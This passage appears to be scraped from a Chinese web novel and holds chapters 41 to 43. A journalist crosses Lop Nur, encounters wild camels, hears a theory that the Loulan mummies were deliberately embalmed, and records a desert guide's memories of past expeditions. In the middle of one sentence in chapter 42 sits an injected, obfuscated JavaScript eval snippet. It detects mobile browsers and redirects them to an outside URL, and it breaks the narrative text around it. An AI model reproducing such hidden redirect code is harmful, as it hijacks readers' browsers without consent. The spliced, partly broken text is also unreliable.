吴文港走过来，拿起笔记本。他的阅读速度很慢，一个字一个字地读，仿佛要把每个字都嚼碎了咽下去。读完后，他沉默了很久。 “写得很好，”他终于说，“但漏了一点。” “什么？” “野骆驼自己的声音。”吴文港坐下，他的脸在汽灯光下半明半暗，“你写了人类应该怎么做，但没写骆驼需要什么。它们不需要人类的怜悯，需要的是尊重。它们不需要被关进保护区像囚犯，需要的是自由迁徙的权利。它们不需要人类替它们决定未来，需要的是人类停止破坏它们的现在。” 叶葆启怔住了。作为记者，他习惯了从人类中心的角度思考问题——保护野生动物是为了生态平衡，为了科学研究，为了子孙后代。但吴文港提出了一个更根本的问题：动物自身的权利。 “我父亲说过一个罗布人的古老传说，”吴文港望着汽灯的光晕，“最初，人类和骆驼是兄弟，共享这片土地。人类负责建造房屋，骆驼负责寻找水源。后来人类变得贪婪，想要独占水源，兄弟反目。骆驼离开了人类，走进了沙漠最深处，带走了寻找水源的秘密。 “传说最后说，只有当人类重新学会尊重骆驼，把它们当作平等的兄弟而非财产，骆驼才会回来，分享水源的秘密。那时，罗布泊会再次变绿，楼兰会从沙中重生。” 这个传说在汽灯的光晕中弥漫开来，带着某种预言的力量。叶葆启感到，这不仅仅是一个关于野骆驼的故事，而是关于人类与自然关系的隐喻。 “我会把传说写进去。”他说。 吴文港点点头，站起来准备离开，又停住了。“你知道今天是什么日子吗？” 叶葆启想了想，摇摇头。在沙漠里，时间变得模糊，只有日出日落，没有星期和日期。 “农历七月十五，”吴文港说，“中元节，鬼节。罗布人相信，这一天，沙漠中的魂灵会显现。那些死去的骆驼，那些消失的罗布人，都会在月光下游荡。” 他指向远方的沙丘：“如果你现在出去，仔细听，也许能听到驼铃声。不是风铃，是真的驼铃，从很久以前传来的。” 叶葆启没有出去。但他躺在床上时，确实听到了什么——或许是风声穿过雅丹的孔洞，或许是沙粒滚落沙丘，但在他听来，那确实像是极远处传来的驼铃，清脆、孤独、悠长。 第二天，采访队离开保护站，继续未完的旅程。 往后的日子里，他们再没有遇到那么大规模的野骆驼群。但偶尔，会在黎明或黄昏，看见远处沙梁上单个或成对的骆驼剪影。每次，吴文港都会停下车，让大家安静地看，直到它们消失。 “它们在看着我们，”他说，“看我们是否值得信任。” 旅程的最后三天，车队遭遇了一场沙暴。 那是在下午，天空突然变黄，然后变红，最后变成一种诡异的紫色。风毫无征兆地狂暴起来，卷起沙粒打在车上，发出暴雨般的声音。能见度降到不足五米，车队不得不停下，用绳索将车辆连在一起，防止被吹散。 大家在车里坐了六个小时，听着沙暴的咆哮。那声音像是千万头野兽在怒吼，又像是大地本身在发怒。叶葆启紧紧抱着相机包——里面装着野骆驼的照片——心想如果车被埋了，这些影像将成为最后的见证。 沙暴在午夜平息。 当叶葆启推开车门时，世界完全变了样。沙丘移动了位置，车辙被完全抹平，仿佛他们从未经过这里。月亮重新出现，照着这片被重新塑造的沙漠，一切都是新的，一切都古老如初。 吴文港站在沙地上，抓了一把沙，让它从指缝流下。“每次沙暴后，罗布泊都会忘记一些事情，”他说，“忘记车辙，忘记脚印，忘记不愉快的记忆。但对骆驼来说，沙暴只是日历上的一页翻过，它们永远记得路。” 第二天，他们终于走出了罗布泊核心区。 当第一抹绿色出现在地平线上——那是一丛顽强的骆驼刺——队员们欢呼起来。叶葆启没有欢呼，他回头望去，那片金黄色的海洋正在后退，重新变得神秘、遥远、不可触及。 在最后一道沙梁上，他仿佛又看到了它们：五十二峰野骆驼，排成一列，缓缓走向沙漠深处。那头耳朵有缺口的头驼在最后，它停下来，回头望了一眼。 那一眼穿越了时间与空间，烙印在叶葆启的记忆里。 三个月后，一个杂志杂志以封面故事的形式刊登了叶葆启的系列报道《沙海魂踪：罗布泊野骆驼生存实录》。报道分为三篇：第一篇《五十二峰》，描写了那次震撼的相遇；第二篇《白骨警讯》，揭露了盗猎问题；第三篇《共生之路》，探讨保护策略和人与自然的关系。 报道配发了摄影记者拍摄的野骆驼照片，其中一张成为经典：夕阳下，五十二峰骆驼的剪影印在沙梁上，如一幅古老的岩画。那头耳朵有缺口的头驼正在回头，眼神深邃如古井。 报道引发了意想不到的反响。保护野骆驼的捐款在两周内超过五百万元；三家科技公司主动联系保护站，捐赠无人机和监控设备；国家林业局宣布扩大罗布泊自然保护区范围，增加巡逻力量；更重要的是，公众开始关注这个曾经陌生的物种。 一年后，叶葆启收到吴文港寄来的信。信很短，字迹粗犷： “叶记者，最近盗猎案下降了60%。新来的巡逻队员很年轻，但很有干劲。上个月，我们在孔雀河古河道又看到了一个大族群，六十三峰，包括十三头幼崽。那头耳朵有缺口的老驼还在，它看起来很好。李站长说，你写的报道被翻译成英文，登在了国际保护杂志上。谢谢你。罗布泊记得。” 随信附了一张照片：晨曦中，一群野骆驼正在饮水，水面倒映着它们的身影。照片背面，吴文港用铅笔写了一行字：“它们在喝水，也在喝光。” 叶葆启把照片装在相框里，放在书桌上。每当写作遇到瓶颈，他就会看看这张照片，想起那片沙漠，那些骆驼，那个人。 多年以后，当叶葆启已经退休，他收到一个包裹，里面是一本新出版的摄影集《罗布泊：最后的荒野》。翻到中间一页，他停住了。 那是一张航拍照片：在浩瀚的沙海中，一行骆驼的蹄印蜿蜒向前，清晰而坚定，如大地的掌纹。图片说明写道：“野骆驼的迁徙路线，千年未变。” 在照片下方，有一行小字： “献给所有记得的人。沙漠不会遗忘，生命自有出路。” 叶葆启合上画册，望向窗外。城市在夕阳下熠熠生辉，车流如河。但在那片光芒之外，在遥远的西方，有一片沙海，沙海中有骆驼在行走，脚步从容，如同时针划过时间的表盘。 他想起吴文港的话：“这些家伙，是这片土地的真正主人。我们人类，只是过客。” 也许，真正的主人不是人类，也不是骆驼，而是时间本身。而我们，无论是人还是骆驼，都只是时间中的过客，在沙地上留下暂时的足迹，等待下一场风来将它们抹去。 但有些足迹，会留在心里，成为灵魂的地图，指引我们找到回家的路——无论家是一片绿洲，还是一颗在荒漠中依然跳动的心。 夜色渐深，叶葆启打开台灯，在日记本上写下最后一段： “罗布泊教会我一件事：在最荒芜的地方，生命依然能找到出路；在最绝望的时刻，希望依然会倔强生长。而记者的使命，就是见证这些出路与生长，记录下光如何在黑暗中凿出一丝缝隙。那五十二峰野骆驼，它们不仅行走在沙海上，更行走在时间的河流中。它们的每一次呼吸，都是对死亡的抵抗；它们的每一个蹄印，都是对虚无的否定。而我，有幸成为这一幕的见证者，这本身就是最大的馈赠。” 他停下笔，闭上眼睛。 在意识的黑暗中，驼铃声再次响起，清脆、孤独、悠长，从遥远的沙海传来，穿越时间和空间，在他的心里回荡，回荡，直到与心跳合而为一。 42. 第042章 盐泽记忆 古河道在车轮下呻吟，像一条被抽干了血液的巨蟒脊骨。采访队的越野车碾过龟裂的河床，扬起红色尘烟，那烟在午后光线中缓慢旋转，仿佛有看不见的魂灵在其中起舞。野骆驼群早已隐入地平线，只留下纷乱的蹄印，深深浅浅，通向时间深处。 叶葆启靠在车窗上，眼窝里积着细沙。他舔了舔干裂的嘴唇，尝到罗布泊独特的咸涩——那是千年盐壳的味道，是消失的湖泊最后的叹息。 “楼兰就要到了。”开车的向导老吴突然说，声音沙哑如磨砂纸，“也不是真正的楼兰，是她的影子。” “影子？”叶葆启问。 “米兰遗址，楼兰国的西大门。真正的楼兰城还在东北边一百多公里，军事禁区，进不去。”老吴顿了顿，“但影子有时候比本体更真实，你说是不是？” 叶葆启没有回答。他看见远处的地平线开始扭曲，土黄色的巨大土墩从大地深处生长出来，像是沉睡巨兽的脊背。雅丹地貌——风蚀的杰作，时间用最耐心的刀刃雕刻了这些诡异的造型。有的像废弃的城堡，有的像跪拜的僧侣，在午后的热浪中微微颤动，仿佛下一刻就要活过来。 米兰遗址匍匐在雅丹群落的怀抱中，像一只死去的甲虫。 叶葆启踩上废墟时，脚下传来空洞的回响。风在这里改变了声音，不再是平原上那种单调的呼啸，而是变成了无数声部的合唱——尖细的、低沉的、呜咽的、嘶吼的。考古队的保护员小张说，当地维吾尔人称这种风为“鬼诵经”。 “听，像不像诵经声？”小张指着残破的佛塔。 叶葆启侧耳倾听。真的，风穿过佛塔墙壁上的孔洞，产生奇异的共鸣。那声音若有若无，像是从很远很远的年代飘来的梵唱。他闭上眼睛，突然看见穿赭红色袈裟的僧侣在长廊下行走，看见商旅卸下疲惫的骆驼，看见壁画工匠在墙壁上勾勒菩萨低垂的眼睑。 “这墙上原来有壁画。”小张抚摸着一处斑驳的墙面，“德国探险家勒柯克二十世纪初来过，割走了一些。剩下的，风沙慢慢吃掉了。” 叶葆启凑近看，墙面上依稀可辨色彩——一种褪色的朱红，一种泛黑的靛蓝。他用指尖轻轻触碰，碎屑簌簌落下，在阳光下像金色的尘埃。他突然想起莫言小说里的一句话：“历史就是一层层脱落的墙皮，你拾起的每一片，都曾经是一个完整的世界。” 佛寺的废墟旁，几株骆驼刺在顽强生长，它们的根须深深扎进废墟的缝隙，像是在吮吸千年前的供养。叶葆启蹲下身，看见一只黑色的甲虫正努力爬过一片陶器碎片。那碎片边缘圆润，曾经是一个陶罐的一部分，也许盛放过清水，也许装过粮食，也许只是空着，等待主人从丝绸之路上归来。 “这里发现过佉卢文书。”小张的声音把他拉回现实，“一种死文字，记录的是楼兰国的法律、税收、婚约。最动人的是一封家书，一个远行的商人写给妻子的：‘若骆驼能飞，我明日便归。’” 风突然大了起来，卷起沙粒打在脸上生疼。叶葆启眯起眼睛，看见远处的雅丹群在移动——不，是影子在移动，是光线在玩把戏。那些土墩仿佛活了过来，慢慢变换姿态。他想起昨晚营地里的传说：月圆之夜，这些雅丹会恢复成原本的建筑，僧侣会重新点亮油灯，商队会再次启程。 “魔怔了？”老吴拍拍他的肩，“第一次来的人都这样。罗布泊会钻进你的脑子，在里面盖房子。” 夜晚的罗布泊是另一个世界。 白天的酷热迅速退去，寒冷从地心深处涌出。采访队围坐在篝火旁，火焰舔舐着黑暗，在每个人脸上跳动。星河低垂得可怕，仿佛一伸手就能摘下一把星星，但那些星星都是冷的，像冻僵的钻石。 陈专家坐在火堆东侧，他的脸在火光中半明半暗。他是那种典型的田野考古学者——皮肤皴裂如旱地，手指关节粗大，但眼睛异常明亮，像两颗被岁月打磨过的黑曜石。 话题不知怎么转到了“楼兰美女”。 “我在博物馆见过，”摄影师小李往火堆里扔了根柴，“真吓人，但又真美。皮肤还有弹性，头发金黄，眼睫毛一根根的。说是天然干尸，罗布泊的特殊气候保存的。” 陈专家沉默地抽着烟斗，烟丝的气味混入柴烟，变成一种奇异的香。许久，他才开口，声音不高，但每个字都沉甸甸的： “那可能不是天然形成的。” 火堆“噼啪”爆了一声，火星腾空而起，在黑暗中画出短暂的光痕。所有人都看向陈专家。 “你们知道古埃及木乃伊，”他继续说，语速缓慢，像在挖掘什么珍贵易碎的东西，“取出内脏，用泡碱脱水，涂上树脂，裹上亚麻布。一套完整的、有宗教意义的防腐技术。” 叶葆启感到脊背一阵发凉，不是因为寒冷。 “我们认为，罗布泊地区这些保存完好的遗存，可能也是人为处理的。”陈专家的烟斗在黑暗中明灭，“只是方法不同，材料不同，背后的观念也可能不同。” 他详细解释起来。近年来的CT扫描显示，一些被称为“干尸”的遗存体内，器官被有规律地移除——不是自然腐烂的随机状态，而是有意识的摘除。体腔内填充着混合物质：本地特有的盐碱土、羊毛、某种已经碳化的植物材料，甚至检测出动物油脂和树脂的痕迹。 “最有趣的是皮肤处理。”陈专家的眼睛在火光中异常明亮，“表面有涂层，非常薄，但均匀。成分分析显示是动物油脂混合植物汁液，可能还有矿物质。这不是自然风化能形成的均匀度。” 篝火静静地燃烧着。远处传来胡狼的嚎叫，声音孤独而悠长，仿佛来自另一个时空。 “你的意思是，”叶葆启小心翼翼地问，生怕惊跑了这个正在成形的想法，“楼兰人掌握了一种我们不知道的防腐技术？” “不止是技术，”陈专家纠正，“是一整套关于身体、灵魂、永生的观念体系。为什么要保存遗体？他们相信什么？死后世界是什么样子？这些处理背后，是一整个消失的宇宙观。” 小李嘟囔：“可文献里从没提过……” “楼兰本身留下的文献就很少，”陈专家苦笑，“而且，有些知识可能根本不用文字传承。可能是祭司的秘密，家族的秘术，或者——”他顿了顿，“或者普通得不需要特别记录，就像我们不会特意记录怎么煮米饭。” 那晚叶葆启失眠了。 他躺在睡袋里，听着帐篷外永不停息的风声。那风声里确实有声音——不是幻觉，是真的有节奏的变化。他想起陈专家的话：“鬼诵经”。 突然，他清楚地听见了一个词。不是汉语，不是维吾尔语，而是一种完全陌生的音节，但奇怪的是，他竟能理解它的意思：“盐”。 他坐起身，拉开帐篷的拉链。 月光下的罗布泊银白一片，盐壳反射着冷光，像一片凝固的海洋。雅丹群蹲踞在远方，沉默而巨大。叶葆启想起白天在米兰遗址看到的那个陶罐碎片，想起黑色甲虫爬过的轨迹。所有碎片都在他脑中旋转：壁画残片、佉卢文字、风蚀的佛塔、填充遗体的盐和羊毛、皮肤上的油脂涂层…… 它们开始拼接。 他仿佛看见三千年前的场景：一个楼兰贵族妇女去世了。女眷们用盐水为她净身，那盐水取自罗布泊的湖心，据说能洗涤罪孽。祭司念诵咒语，那些咒语在帐篷里回荡，融入羊油灯的青烟。然后，经过特殊训练的人开始操作——不是野蛮的解剖，而是仪式化的处理。内脏被取出，但不是丢弃，而是装进陶罐，罐子上刻着密文，随葬入墓。体腔被清洗，填充混合了香料和本地盐碱的羊毛。最后，皮肤被涂上一层秘制的油膏，那配方可能只有两三个人知道。 处理好的遗体被裹上精美的毛毯，不是裹尸布，而是生前最爱的毯子，图案是凤凰和蔓草。她被安置在家族墓穴中，面朝东方——太阳升起的方向，也是长安的方向。随葬的有她生前用的铜镜、梳子，丈夫从长安带回的丝绸碎片，孩子用羊骨做的小玩具。 墓穴被封上之前，祭司最后念道：“你的身体将如胡杨不朽，你的灵魂将如候鸟归来。” 然后，三千年的风沙掩埋了墓穴。罗布泊的水退去，盐碱上升，包裹着那具被精心处理的躯体。直到某一天，考古学家的小铲子轻轻敲开了时间的封缄。 叶葆启颤抖着点燃一支烟。火星在黑暗中亮起，像一只微小的、警觉的眼睛。 他想写。不是简单的事实报道，而是试图进入那个消失的世界，用文字重建那个仪式，让读者感受到油脂涂在皮肤上的触感，闻到混合香料的气味，听见祭司古老的咒语。 第二天，采访队继续探访米兰遗址的其他区域。叶葆启特意走在陈专家身边，像个求知若渴的学生。 “如果真是人为处理，为什么这么多年都没被发现？”他问。 陈专家停在一处残墙边，用手抹去墙上的浮沙：“因为我们太相信‘常识’了。罗布泊这么干燥，尸体自然变成干尸，多合理的解释。科学有时候会被合理性绑架。” 他告诉叶葆启一个故事：上世纪八十年代，一具著名的“楼兰美女”出土时，所有人都惊叹于自然保存的奇迹。当时有位老技工小声说：“这处理手法，跟我爷爷处理猎物有点像……”但没人听他的。老技工不识字，不会写论文，他的声音消失在学术的殿堂之外。 “直到最近，仪器进步了，我们能看见以前看不见的东西。”陈专家说，“CT、分子分析、材料鉴定。科学仪器不会预设答案，它们只是显示事实。而事实是：那些遗存的处理方式，超出了自然作用的范围。” 他们走到一处挖掘探方旁，已经回填了大半，只剩下一个浅浅的坑。陈专家跳下去，用手刨了刨，捡起一小块黑色物质：“炭化的织物。可能是裹尸布，也可能是衣物。你看边缘整齐，是裁剪过的。” 叶葆启接过那小块炭化物，轻得几乎没有重量。三千年前，这是一块布，可能染成红色或蓝色，可能绣着图案。一个楼兰女子曾穿着它，在绿洲的树荫下行走，风吹起衣角，沙枣花的香气若有若无。 “但最难的不是证明‘有人为处理’，”陈专家爬出探方，拍掉手上的土，“而是理解‘为什么’。古埃及人相信，保存身体是灵魂回归的容器。楼兰人呢？他们信仰佛教，也信祆教，还有本地原始崇拜。他们的生死观是什么？” 午餐时，叶葆启没吃几口。他的脑子太满了，装不下食物。他找了个僻静处，打开笔记本，开始记录： >假设：楼兰存在一套独特的尸体保存技术。 >证据：1.体内器官有规律缺失；2.体腔填充人工混合物；3.皮肤检测到均匀涂层；4.包裹方式显示仪式性；5.同一区域、同样环境，保存状态差异巨大。 >意义：如果成立，则说明——a.古代楼兰在医学/化学领域有被低估的成就；b.存在一套完整的丧葬观念体系；c.可能的社会分层（只有部分人能享受此处理）；d.与周边文明的差异与交流（不同于埃及、不同于中原）。 >问题：技术细节？传承方式？何时开始？何时失传？与楼兰消失的关系？ 写到这里，他停下笔。最后一个问题让他心头一震：楼兰的消失，和这种技术的失传，有没有关联？一个文明在消亡前，是否会拼命保存自己的痕迹，就像快要淹死的人抓住最后一根稻草？ 下午，采访队准备离开米兰，前往下一个地点。临行前，叶葆启独自走到佛塔废墟的最高处。 风比昨天更猛了，卷起的沙粒打在脸上像针扎。他眯着眼眺望，雅丹群在飞舞的沙尘中变形、流动，真的像活了过来。 突然，他听见了清晰的声音。不是风，是真的声音，很多人的声音：驼铃声、说话声、孩子的笑声、水流声。他猛地回头，但身后只有废墟。声音是从哪里来的？ “叶记者！”小李在下面喊，“该走了！” 叶葆启往下走，脚步踉跄。走到半途，他踢到了什么东西——不是石头，而是一个陶罐的颈部，刚被风从沙里吹出来。他捡起来，罐颈内侧有暗红色的痕迹。他凑近闻，一股极淡的、奇异的气味钻入鼻腔：没药？乳香？还是其他什么早已消失的香料？ 他没告诉任何人，悄悄把陶片装进口袋。那一刻他确信，有些记忆不是写在纸上，而是渗入泥土，烧进陶土，躲在盐晶的缝隙里，等待某个特别的人来唤醒。 车上，他问陈专家：“如果这技术真的存在，它可能流传下来吗？哪怕是碎片？” 陈专家很久没回答。车在颠簸的荒漠路上行驶，窗外是重复的、荒凉的景色。就在叶葆启以为他不会回答时，他开口了： “塔克拉玛干边缘有个村子，老人去世后，家人会用一种混合了七种植物灰的泥涂抹逝者的太阳穴。我问为什么，他们说不上来，只说‘自古就这样’。那七种植物里，有三种已经不在当地生长。” “你的意思是……” “传统会变形，会萎缩，会隐藏，但不会完全消失。”陈专家望着窗外，“它可能变成一句没来由的俗语，一个奇怪的习惯，一个解释不清的仪式。就像河流改道后，地下的暗流还在原来的河床里流淌。” 叶葆启摸着口袋里的陶片，那凸凹的表面仿佛有温度。他想，也许这就是记者的使命：倾听暗流的声音。 回到乌鲁木齐后，叶葆启花了整整一周写那篇报道。 他白天采访更多的专家：材料学家分析涂层成分，遗传学家解读古DNA数据，人类学家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904194|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推测楼兰的社会结构。晚上，他对着电脑，却常常写不出一个字。 问题不是缺乏材料，而是太多。他掌握的已经不是一个简单的科学发现，而是一扇门，推开后是一个庞大的、幽暗的迷宫。他该带读者走多远？走多深？ 第四个深夜，他再次失眠。凌晨三点，他爬起来，冲了杯浓茶，坐在窗前。乌鲁木齐的夜不像罗布泊那么黑，城市的光污染在天边涂出一片暗红。他突然想起米兰遗址的那个夜晚，篝火，陈专家半明半暗的脸，风中似有似无的诵经声。 他明白了。他不能只写“科学家发现楼兰美女可能是人为处理”，他要写那个过程，那个仪式，要让读者闻到香料的气味，感到油脂的黏稠，听见三千年前的咒语。他要写的不只是考古，而是一次招魂——用文字招回一个消失的世界。 他重新打开文档，手指在键盘上停留片刻，然后开始敲击： >**盐与记忆：楼兰的永生之术** > >在罗布泊的盐壳之下，时间以不同的速度流淌。有些事物腐烂了，有些却固执地留存，比如那些被我们称为“楼兰美女”的遗存。三千年前，她们的眼睛最后一次闭合时，有人为她们施行了一种秘密的仪式——那不是结束，而是另一种形态的开始。 > >现代科学的眼睛（CT、质谱仪、DNA测序仪）正在揭开这个秘密：那些保存完好的身体，可能是古代楼兰人刻意保存的。用本地的盐、羊毛、植物和动物油脂，按照一套已经失传的配方和程序，他们试图对抗时间最无情的法则——腐朽。 > >为什么？ > >也许因为他们相信，身体是灵魂的居所，而灵魂像候鸟，总会归来。也许因为他们身处丝绸之路的十字路口，见识过各种永生之术，创造了自己的版本。也许仅仅因为爱——无法接受所爱之人化为尘土，于是用尽智慧，让告别变得缓慢一些，再缓慢一些。 > >这不是古埃及的木乃伊。这是罗布泊的回答，是盐泽的哲学，是风沙也未能完全抹去的、人类对抗虚无的尝试。 写到东方发白时，叶葆启终于写完最后一个字。他靠在椅背上，筋疲力尽，但心中有某种东西饱满欲溢。他想起在罗布泊的最后一天，陈专家对他说的话： “我们考古，挖的从来不是死人，而是活人——那些还活在陶片纹路里、活在骨头结构里、活在墓葬排列方式里的活人。每一次发掘，都是一次唤醒。” 报道发表后引起的反响超出了叶葆启的预期。考古学界有赞同的，有质疑的，但普遍认为“提供了一个重要的新视角”。科普读者兴奋于“原来古代技术这么先进”。而最让他感动的，是一位新疆读者来信： “我奶奶是若羌的维吾尔族人，去年去世前，她让我们在她枕头下放一小包盐和羊毛。我们一直不知道为什么传统。看了你的文章，我哭了。也许有些记忆真的在血液里流淌，哪怕我们已经忘记了原因。” 叶葆启回信时，附上了在米兰捡到的那块陶片的照片。他没有说自己的幻听，没有说风中听见的“盐”字，没有说那些夜晚的梦境——梦里，他看见穿毛毡长袍的女人在涂一种发亮的油膏，嘴里哼着无词的歌谣。 有些事，不需要全说。就像楼兰人没有把所有秘密都写进佉卢文书，他们相信有些知识应该活在实践中，活在传承中，活在沉默的仪式里。 文章发表一个月后，叶葆启收到一个包裹，寄件人是陈专家。里面是一小瓶白色晶体和一张纸条： “罗布泊湖心盐样，经检测含有特殊矿物成分，与‘楼兰美女’皮肤涂层中的某些微量元素匹配。也许这就是他们用的盐。送你一点，不是证据，是诗意。” 叶葆启打开瓶子，倒出少许在掌心。盐粒在手温下微微潮湿，反射着办公室的荧光灯，像细碎的星辰。他尝了一点，极咸，但咸味过后，有一种难以形容的回味——不是苦，不是涩，而是一种空旷，像站在无人的荒漠中央，四面八方都是地平线。 他突然明白了。盐不仅是防腐剂，也是记忆的载体。海水蒸发成盐，盐渗入土地，土地长出植物，植物喂养人和动物，人和动物死去，盐又回到土地。这是一个循环，而楼兰人也许在直觉层面理解了这个循环，所以用盐来保存身体——让亲人在大地的循环中停留得久一些，让告别有更长的缓冲。 他盖上瓶子，小心收好。窗外，北京正在入秋，梧桐叶开始变黄。距离罗布泊三千公里，距离楼兰三千年，但此刻，他感到一种奇异的连接。就像沙漠下的暗流，看不见，但知道它在流淌。 那天晚上，他做了一个梦。 梦里，他走在米兰遗址，但遗址是完整的。佛塔金顶闪耀，壁画鲜艳如新，僧侣的诵经声清晰可辨。一个穿楼兰服饰的女子走过来，递给他一个小陶罐。罐子里是半凝固的油脂，散发着复杂的香气。女子不说话，只是微笑，然后指向西方——落日正在沉入雅丹的背后。 他醒来时，凌晨四点。梦境如此清晰，他甚至记得油脂的质感：介于蜂蜜和蜡之间，温润而厚重。 他起身，打开电脑，开始写一篇新的文章。这次不是新闻报道，而是一个短篇故事，关于一个楼兰防腐师最后的传承。他写得很慢，很小心，仿佛真的在调配那种失传的油膏。 第一缕晨光照进窗户时，他写到了结尾。防腐师在去世前，把配方告诉了小女儿，不是用文字，而是让她亲手操作一遍。最后他说：“记住手的动作，记住气味，记住每一种材料入手的感觉。将来某一天，会有人需要这个记忆。” 叶葆启停笔，看向窗外逐渐亮起的天空。 他想，也许记忆从来不会真正消失。它只是变换形态，从仪式变成习惯，从习惯变成传说，从传说变成风中听不清的絮语，然后等待某个时刻，被需要它的人重新听见。 就像罗布泊的盐，干了又湿，结晶又溶解，但始终在那里——在湖床深处，在风化的土墩里，在三千年前某个女人涂抹过油脂的皮肤里，在一个记者凌晨四点的键盘敲击声里。 永生也许不存在，但记忆可以接近永恒。而人类所有的技术，所有的艺术，所有的文明，最终不都是对抗遗忘的、悲壮而美丽的尝试吗？ 叶葆启关上电脑，掌心还残留着梦里油脂的触感。 新的一天开始了。在城市的喧嚣升起之前，有那么一瞬间，他清楚地听见了风穿过佛塔孔洞的声音，遥远而清晰，像一声跨越三千年的叹息，又像一句刚刚开始的、长长的咒语。 而那咒语的内容，他忽然听懂了。只有一个词，不断重复： “记住。” “记住。” “记住。” 43. 第043章 砂海摆渡人 罗布泊的傍晚从来不是温柔的。那日风沙初歇，天空呈现出一种病态的绛紫色，像是被钝器击打后淤血的肚皮。砂砾还在半空中悬浮着，细看时每颗都裹着一层诡谲的磷光——这是盐壳与月光□□生出的异象。叶葆启踩着没过脚踝的浮尘走向营地边缘时，觉得自己正跋涉在某个远古巨兽逐渐冷却的脊背上。 那顶褪成灰白色的帐篷孤悬在车队五十米外，像一颗被遗忘的头颅。帆布在微风中发出老人磨牙般的声响。叶葆启怀中揣着的不是录音笔，而是一个枣木茶盒，里头是真正的明前龙井——这在内海也是稀罕物，此刻却显得荒诞，像捧着玉碗向饿鬼布施。 “吴师傅？”他唤了一声，声音刚出口就被砂海吞掉大半。 帆布帘掀开一角，先探出的是一只手：指节粗大如古藤瘤，掌纹里嵌着洗不净的黑褐色——那是罗布泊的印记，盐碱与铁锈的混合物。接着是半张脸，在暮色中像一块被风化的玄武岩雕塑。 “叶记者。”吴文港的声音粗粝如砂纸摩擦铁皮，“有茶？” 帐篷内的空间比棺材大不了多少。叶葆启躬身钻入时，头顶蹭过一串悬吊的物什——风干的骆驼刺、磨成薄片的动物骨殖、用红绳系着的铜铃铛，相撞时发出空洞的脆响。汽油炉的蓝焰舔着铝壶底，光影在帆布壁上跳起傩戏。 吴文港盘腿坐在毡垫上，身后的地图占据整面帐壁。那不是普通地图，是牛皮纸上用不同颜色的矿粉绘制成的：靛蓝是古河道，朱砂标着干涸的泉眼，炭黑勾勒雅丹的走向，金粉点在可能有遗存的地方——有些金点已经暗淡发黑，像是被无数目光摩挲过。地图边缘用蒙文和汉文混杂标注着小字：“此处有会唱歌的石头”、“七月满月夜勿经此地”、“白骆驼饮水处”。 茶香升起时发生了奇妙的事。那些悬浮的茶雾竟不散去，在狭小空间里凝结成淡青色的云絮，缓缓沉降，覆盖了工具、睡袋、那双沾满盐霜的翻毛靴。吴文港深深吸气，胸腔扩张时发出风箱般的声响。 “第二十八次了。”他忽然开口，眼珠在昏暗中泛着石英的光泽，“进这罗布泊。” 叶葆启的钢笔悬在笔记本上，一滴墨汁坠下，在纸面洇成罗布泊的形状。 吴文港不是生来就叫这个名字。在若羌的土坯房里，母亲唤他“敖登”，蒙语里的星星。父亲早年被流沙吞没时，只留下一块走时永远停在下午三点十七分的苏联手表——那是沙暴降临的时刻。 “第一次进罗布泊是给死人带路。”他啜饮滚烫的茶，舌尖不怕烫，已磨出老茧般的感觉，“九三年，三个广东来的采石人，说要找那种能透光的戈壁玉。我说七月不能进，他们不信。” 他的叙述断断续续，像被风撕碎的经幡。 “第四天就出事了。领头的那个姓陈的，晌午时突然说看见一片湖，蓝得晃眼。说着就朝那片幻象跑，怎么喊都不回头。等我们追上去，人已经陷进流沙井——那地方现在地图上我标作‘陈眼’，每年七月十五，井口会冒出寒气，能在三伏天结霜。” 叶葆启记录的手在颤抖。不是恐惧，是某种更原始的战栗，仿佛听见大地深处的脉搏。 “后来呢？” “后来？”吴文港从工具箱底层摸出一个布包，层层揭开，里头是一截指骨，中指，戴着枚被砂砾磨去花纹的金戒指，“只剩这个。我带回给他老婆，那女人抱着骨头哭了三天，眼泪滴在骨头上，竟长出细细的盐晶。” 他说话时常有长时间的停顿，眼珠转向虚空，像在读取空气中看不见的字迹。叶葆启逐渐意识到，这个男人的记忆不是线性的——每一次穿越都在他生命里凿出一条独立的河道，二十八条河在体内奔涌，时而交汇，时而干涸。 “最险的是第九回。”吴文港往炉里添了块骆驼粪，火焰猛地蹿高，在他脸上投出跳动的阴影，“带的是地质大学的教授队，三辆车，十二个人。在湖心，领头车的变速箱裂了，像被无形的手掰开的核桃。” 那夜的星空他至今能在闭眼时完整复现。“罗布泊的星星不一样，密密麻麻挤在一起，低得像是要砸下来。银河浓得像泼翻的奶，淌过天穹时会有窸窣的声响——真的，不骗你，静到极处时能听见。” 没有电台，没有信号弹。食物计算后只够五天，水更少。“第七天，教授里最年轻的那个女博士开始说胡话，说看见楼兰公主在沙丘上跳舞，要去找她要水。我捆了她手脚，用湿布敷她额头，布很快就烤干了。” 决定徒步求援那夜，吴文港做了件怪事。“我把所有人的名字写在一张锡纸上，埋进盐壳下三尺。这是老辈人教的——把名字留给大地，大地也许会念情。” 他独自出发，背囊里只有半壶水、一把盐、一根用骆驼韧带搓成的绳子。“走夜路，靠星星。但罗布泊的星星会骗人，它们有时突然集体挪位置，像有人在天上重新布棋。我只能看自己的影子——月光下的影子有重量，真实的影子边缘是毛茸茸的，幻影的影子像刀切的。” 六十公里走了两夜一天。途中他遇见一片“活着的雅丹”：风蚀土丘在月光下缓慢移动，像巨人的骨骸在翻身。他在土丘的阴影里歇脚时，听见岩层深处传来敲击声，均匀如心跳。 “是地下河，”他呷了口茶，“早干了几百年了，但那声音还在，像河的魂魄不肯散。” 第三天拂晓，他爬上通讯铁塔时，靴底已经磨穿，袜子上结着血和盐的硬壳。发出的求救信号惊动了整个若羌的救援系统。车队被找到时，十二个人挤在车影里，用尿液浸湿布条敷在口鼻上——是吴文港临走时嘱咐的。 “那女博士后来成了国内顶尖的地质学家，”他眼神飘远，“每年春节都给我寄贺卡，附一张她在各地采的岩石切片。去年寄的是南极的冰芯切片，说在里头看见了和罗布泊盐芯一样的结晶结构。” 